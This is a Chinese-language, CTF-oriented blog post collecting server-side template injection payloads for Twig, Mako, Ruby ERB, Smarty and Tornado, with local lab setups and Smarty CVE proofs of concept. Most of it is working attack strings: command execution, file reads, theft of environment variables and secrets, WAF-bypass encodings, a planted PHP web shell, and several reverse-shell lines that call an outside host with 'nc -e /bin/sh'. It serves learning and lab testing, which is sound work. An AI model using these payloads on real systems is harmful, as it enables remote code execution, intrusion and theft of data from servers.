SSTI模板注入
SSTI
注:在本博客中所看到所有raw和endraw内容都是为了避免hexo报错所写,各位师傅在实验payload的时候切记不要带上raw和endraw
SSTI,即服务端模板注入,是一种存在于 Web 应用程序中的严重安全漏洞。当攻击者能够利用现有的模板引擎(如 Jinja2、Twig、FreeMarker、Thymeleaf 等)注入恶意代码,并在服务器端被解析和执行时,就会发生SSTI漏洞。本文不涉及jinja2模版下的注入payload。
Twig
参考:https://www.anquanke.com/post/id/246093#h2-0
Twig是php中的模版引擎,类似于python中的jinja2,同样利用{{}}来输出变量,{%%}来执行逻辑控制,当服务器不加修饰地将用户输入内容拼接到页面中,就可能出现SSTI模板注入,恶意代码示例:<h1>Hello, {{ name }}!</h1>,当用户传参?name=ZLARYY,那么页面就会显示
不过,如果我们传入{{7*7}},那么后端就会优先计算7*7这个数学表达式,然后进行拼接
在php中,很多内置的系统函数只需要传入函数名的字符串就可以被调用(比如system(),exec(),passthru()),但也可以在Twig语法中寻找能够接受回调函数的机制,现代TwigSSTI最经典的利用方式是使用过滤器,比如map,filter,sort,reduce
本地靶场测试
直接使用apache2服务就行:
1 | sudo systemctl start apache2 |
1 | ?php |
map
其中一种payload是这样:
1 | {{ ["cat /flag"] | map("system") | join(",") }} |
["cat /etc/passwd"]:在Twig中创建了一个数组,里面只有一个Linux系统命令的元素
| map("system"):|是管道符,将前面的数组传给后面的过滤器,map()是Twig的数组处理过滤器,它的作用是对数组里面的每一个元素执行一个操作,将system当作参数传给map(),就相当于执行了system(cat /flag),之后map()会将函数的返回值重新打包为新的数组
| join(","):函数执行完毕之后会返回命令的结果,join(",")将结果转换为字符串通过{{}}渲染并显示在浏览器页面上
由于system函数执行成功之后会立刻将命令的输出结果回显到网页上,所以这里的第一行是system()函数执行成功返回的结果,后面的内容是join转换为字符串所产生的,由于我们提到map()会将返回结果打包为数组,所以如果我们去掉join,看到的就会是Array
关于twig_array_map,源码中是:
1 | function tig_array_map($array,$arrow){ |
了解了map过滤器,接下来我们试试其他的过滤器:
filter
filter过滤器与map的作用区别不大,payload为:
1 | {{ ["cat /flag"] | filter("system") | join(",") }} |
filter("system")会将前面数组里的命令交给system执行,由于非空字符串在php里面都被视为true,于是filter会认为这个元素“符合条件”,然后将其保留在数组中,最后join转换为字符串之后,回显的就是cat /flag这个数组元素
sort
这个过滤器的正常用途是用于对数组进行自定义排序。它底层调用的是PHP的usort()函数,需要比较两个元素的大小,他的payload为:
1 | {{ ["cat /flag", 0] | sort("system") | join(",") }} |
往数组中塞入两个元素,就会启动引擎的比较机制,将数组中的元素一起取出之后放进system函数里面,相当于执行了system("cat /flag", 0),而system函数的第二个参数在php中是&$return_var(用于接收状态码),我们传入的第二个元素充当了或被忽略了这个占位符,从而成功执行命令,不过在php 8.x版本中,像system($cmd, &$return_var)或exec、passthru这样的函数,它们的第二个参数是强制按引用传递 (Pass by Reference) 的。如果sort过滤器传递给它的是一个字面量(比如上面的 0 或""),PHP 8 会直接抛出致命错误,导致利用失败。所以在高版本中我们通常使用map和filter这两个过滤器
_self
在早期的 Twig 版本中,引擎内部有一个全局变量叫_self。在当时,_self指向的是当前的模板对象 。由于它是一个对象,我们就可以通过_self.env直接获取到Twig的运行环境 ,不过在Twig2.0之后_self就受到了限制,甚至在3.0版本之后,_self就只是一个普通的字符串,不具有env属性或者宏,于是就会看到错误
如果版本允许的话,我们可以利用如下payload:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
命令id被执行之后就会返回当前用户的id
信息收集
当然,SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息,在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息
1 | {{_self}} #指向当前应用 |
其中dump()是Twig中的调试函数,可以把当前环境中的变量、对象甚至是底层的类信息全部打印出来,相当于var_dump()
如果dump报错不可用,盲打手段通常是去读取Twig默认的全局环境变量:_context,_context是一个包含了当前模版所有可用变量的数组,虽然我们不能用dump把它打印出来,但我们可以结合刚才学过的过滤器,把它里面的键名提取出来:
1 | {{ _context | keys | join(",") }} |
_context:拿到当前环境的所有环境变量(数组)
| keys:Twig的内置过滤器,用于提取数组中所有的“键名”
看到了site_config这个变量,我们就可以像访问数组一样去读取里面的内容
或者在不知道键名的情况下,我们还可以直接输出所有键名:
1 | {{ site_config | keys | join(" | ") }} |
所有值:
1 | {{ site_config | join(" | ") }} |
通过这种方式我们就能从中窃取敏感信息
最后是这一串:
1 | {{app.request.server.all|join(',')}} |
Twig最初是为了Symfony这个庞大且著名的PHP框架而开发的。当开发者使用Symfony框架搭建网站时,Symfony会自动向Twig引擎里注入一个名为app的全局变量。
1 | app.request:包含用户的所有请求信息(GET、POST 参数、Headers) |
Mako
参考:https://www.tr0y.wang/2022/04/29/SecMap-SSTI-mako/#mako-%E8%AF%AD%E6%B3%95
Mako的基础语法
变量取值:${},类比{{}},输入 1+1,2*2,或者是字符串、调用对象的方法,都会渲染出执行的结果
控制结构:%for ... : %endfor,%if ... : ... %elif: ... % else: ... %endif,类比{%if%}{%endif%}
Python代码块:<% ... %>
导入模块:在代码块的基础上加一个感叹号 <%! ... %>
定义函数:<%def name="..." > ... </%def>,调用:${...()}
注释:##(单行)、<%doc>(多行)
继承模板:<%inherit ... />
包含模板:<%include ... />,引用:<%page ... />
如果需要用到%作为字符的话需要写成%%
单个过滤器的使用和 jinja2 一样很像,都是用 | 来引用。如果要使用多个过滤器,mako 需要用 , 来指定:${" <tag>some value</tag> " | h,trim}
要定义自己的过滤器也比较简单,不需要和 jinj2 一样操作 environment,只需要定义一个函数即可使用:
1 | <%! |
本地环境测试
1 | from flask import Flask, request |
将其编写为makos.py文件然后通过下面这段命令启动
1 | python3 makos.py |
我们在Linux中用这串脚本实现MakoSSTI注入
有了jinja2的参考,这个的攻击手法也很明显了,而且mako语法中具有完全支持python语法的符号
但这里不得不提到为什么jinja2的语法不能实现mako的模板注入了:
Jinja2默认在一个受限的环境(沙箱)里运行,不允许你直接导入os模块。攻击者必须通过内置对象(比如Flask默认传入的config变量),利用Python的类继承关系(MRO),一步步向上爬到顶级类,然后再找到导入了os模块的函数
并且我们可以尝试传入${[].__class__},会发现它回显为空
这就似乎说明了不存在继承关系
subprocess.Popen执行命令
1 | ${__import__('subprocess').Popen('cat /flag',shell=True,stdout=-1).communicate()[0].strip()} |
os执行命令
1 | ${__import__('os').popen('cat /flag').read()} |
不难发现这个payload和本博客之前提到的沙箱逃逸内容一样
1 | <%import os%0ax=os.popen('cat /flag').read()%> |
importlib执行命令
1 | <%import importlib%0a |
sys执行命令
1 | <%import sys%0a |
open读取文件
1 | <%a=open('/flag').read() |
codecs读取文件
1 | <%import codecs |
getline读取文件
1 | <%a=__import__("linecache").getline('/flag',1) |
getlines读取文件
1 | <%import linecache%0a |
1 | <%a=__import__("linecache").getlines('/flag') |
env获取环境信息
1 | <%import os%0a |
environ获取环境信息
1 | <%import os%0a |
绕过
既然是符合python代码的,那么沙箱逃逸所提到的拼接绕过,字符串变化也适用于Mako模板注入,这里就不过多赘述了,大家也可以自己试一下,这里展示了拼接绕过和字符串变化绕过
1 | <%b = 'o'%0a |
1 | <%a=__import__('so'[::-1]).popen('cat /flag').read() |
这里再提几个特殊的:
globals()
1 | ${ globals()['__built'%2B'ins__']['__imp'%2B'ort__']('o'%2B's').popen('cat /flag').read() } |
locals()
locals()函数会返回一个字典,里面包含了当前局部作用域内所有的变量名和它们对应的值
1 | ${locals()} |
如果过滤了context这个词,我们就可以使用可以通过locals()获取字典,然后用字符串拼接的方式去取值:locals()['con' + 'text']
如果locals()中存在request对象,我们就可以把恶意代码写在另一个不被waf检查的参数中:
1 | ${locals()['req'+'uest'].args.get('cmd')}&cmd=__import__('os').popen('cat /flag').read() |
另外我们还可以用__M_writer,它是Mako引擎用来向页面输出内容的内置函数,在Python的底层机制中,只要是一个用Python编写的函数,它就必定拥有__globals__属性,而__globals__里面有__builtins__内建函数,不过在某些版本中,__M_writer绑定到了底层 C 语言实现的_io.StringIO.write上,而C语言底层写的内置函数或包装器,没有__globals__属性
由于我这里就是C语言实现的,所以只能给两个可能的payload了:
1 | ${ locals()['__M_wri'+'ter'].__getattribute__('__glo'+'bals__') |
1 | ${ __M_writer.__globals__['__builtins__']['__import__']('o'+'s').popen('cat /flag').read() } |
所以一种与context有关的payload是:
1 | ${ locals()['con' + 'text'].__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read() } |
Ruby
在ERB模版中,payload的主要结构由ERB标签和Ruby原生代码两部分组成。
ERB标签结构:
<%= code %>:输出标签,执行其中的ruby代码,并将结果转化为字符串回显在HTML页面上
<% code %>:静默标签,执行其中的ruby代码,但不输出任何内容,常用于定义变量,写循环或者条件判断,或者在不需要回显时执行盲注命令
<%# comment %>:注释标签,里面的内容会被完全忽略
本地靶场测试
该靶场也是由Linux搭建,具体流程如下:
1 | #安装sinatra框架和webrick服务器(新版Ruby需要手动安装webrick) |
1 | require 'sinatra' |
以上为漏洞源码
1 | #安装需要的gems |
搭建好之后我们尝试传入一个?name=<%=7*7%>会显示invalid query parameters,这是因为在HTTP协议的URL中,%是一个转义字符,比如%20表示空格,%3C表示<,web服务器规定只要出现%,后面的两个字符必须是合法的十六进制数字
所以我们在传参的时候需要对%和=进行URL编码,%是%25,=是%3D
1 | <%25%3D 7*7 %25> |
反引号命令执行
1 | <%25%3D `cat /flag` %25> |
%x替换反引号实现命令执行
1 | <%25%3D %25x(cat /flag) %25> |
1 | <%25%3D %25x/cat \/flag/ %25> |
通过//代替括号不过需要用转义符号将/flag里面的/转义
IO.popen实现命令执行
1 | <%25%3D IO.popen('cat /flag').readlines %25> |
静默标签实现反弹shell
1 | <%25 system('nc -e /bin/sh 192.168.152.128 4444') %25> |
send方法绕过过滤限制
1 | <%25%3D Kernel.send('`', 'cat /flag') %25> |
这个方法底层调用的是Kernel模块的`` `方法
self与superclass找到顶层object之后拼接system方法执行
1 | <%25%3D self.class.superclass.send("sys"+"tem", "nc -e /bin/bash 192.168.152.128 4444") %25> |
由于在在该模版下,直接执行system不会输出命令执行的结果,而是会返回true,所以需要用到反弹shell
十六进制或八进制编码
Ruby允许在字符串中直接解析转义序列,并在send等方法中直接作为方法名执行:
1 | <%25%3D send("\x73\x79\x73\x74\x65\x6d", "nc -e /bin/bash 192.168.152.128 4444") %25> |
字符数组转换(ASCII绕过)
1 | <%25%3D send([115, 121, 115, 116, 101, 109].pack('c*'), "nc -e /bin/bash 192.168.152.128 4444") %25> |
File.open读取文件
1 | <%25%3D File.open('/flag').read %25> |
Smarty
参考:https://www.anquanke.com/post/id/272393
Smarty使用{}作为默认的标签定界符
本地环境测试
1 | wget https://github.com/smarty-php/smarty/archive/refs/tags/v4.3.4.zip -O smarty.zip |
1 |
|
1 | php -S 0.0.0.0:8000 |
基础探测
1 | {7*7} |
查询版本
1 | {$smarty.version} |
{php}写php代码(Smarty v2 / v3 早期)
在早期的 Smarty 中,官方直接提供了一个{php}标签,允许你在里面写原生的 PHP 代码
由于太危险,这个标签在 Smarty 3 中被废弃,在 Smarty 4 中被彻底移除。
1 | {php}system('id');{/php} |
直接调用PHP函数 (适用于未开启安全模式的 v3/v4)
如果Smarty没有开启特定的安全配置,你可以直接在花括号里调用PHP的内置危险函数
1 | {system('cat /flag')} |
读取文件:
1 | {file_get_contents('/flag')} |
{if}标签使内部字符串被当做php代码执行
1 | {if phpinfo()}{/if} |
self标签来获取Smarty类的静态方法读取文件
1 | {self::getStreamVariable(“file:///flag”)} |
不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除。
其他的一些类中的方法也是一样,会受到版本的限制,比如 writeFile 方法等也是同理,在高版本下同样不能使用。
1 | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} |
CVE-2021-26120
CVE-2021-26120 为 SmartyInternalRuntime_TplFunction 沙箱逃逸漏洞,所利用 POC 如下:
1 | string:{function+name='rce(){};system("cat /flag");function+'}{/function} |
由于测试版本为4.3.4,所以这些poc暂时不能复现
CVE-2021-26119
CVE-2021-26119 为 Smarty template_object 沙箱逃逸 PHP 代码注入漏洞,所利用 POC 如下:
1 | string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)} |
请求两次后触发,请求需要触发两次的原因是第一次缓存文件被写入,然后被覆盖。第二次触发缓存并包含文件以进行远程代码执行。相关代码在process函数处。
Tornado
Tornado模版引擎的定界符为{{}}(变量输出),{%%}(控制块)
在测试的时候会看到{{7*7}}回显49,但是使用jinja2的payload无法回显,这是由于Tornado没有沙箱,底层逻辑和Mako一样,允许直接执行python代码和导入模块
本地靶场测试
1 | #安装Tornado |
1 | import tornado.ioloop |
1 | python3 tor.py |
基本探测
1 | {{7*7}} |
窃取全局配置字典
1 | {{ handler.settings }} |
只显示secret:
1 | {{ handler.settings.get('cookie_secret') }} |
查看所有传入的HTTP头、Cookie、参数
1 | {{ handler.request }} |
1 | {{ handler.request.headers }} |
利用{%%}导入模块,{{}}执行
os
1 | {% raw %} |
那这里就很像沙箱逃逸了啊,用{%%}导入模块,{{}}执行
ctypes
1 | {% raw %} |
之前Mako也是本来打算测试这个ctypes但是由于没有回显,这里突然想到可以反弹shell
subprocess
1 | {% raw %} |
反弹shell这招还真是全能
pty
1 | {% raw %} |
timeit
1 | {% raw %} |
除了反弹shell还可以有写入文件的思路
1 | {% raw %} |
importlib
1 | {% raw %} |
有反弹shell的思路都可以参照timeit中写文件的思路试试
codecs
1 | {% raw %} |
open读取文件
1 | {{open('/flag').read()}} |
getline
1 | {{__import__("linecache").getline('/flag',1)}} |
getlines
1 | {% raw %} |
获取环境信息
env
1 | {% raw %} |
environ
1 | {% raw %} |
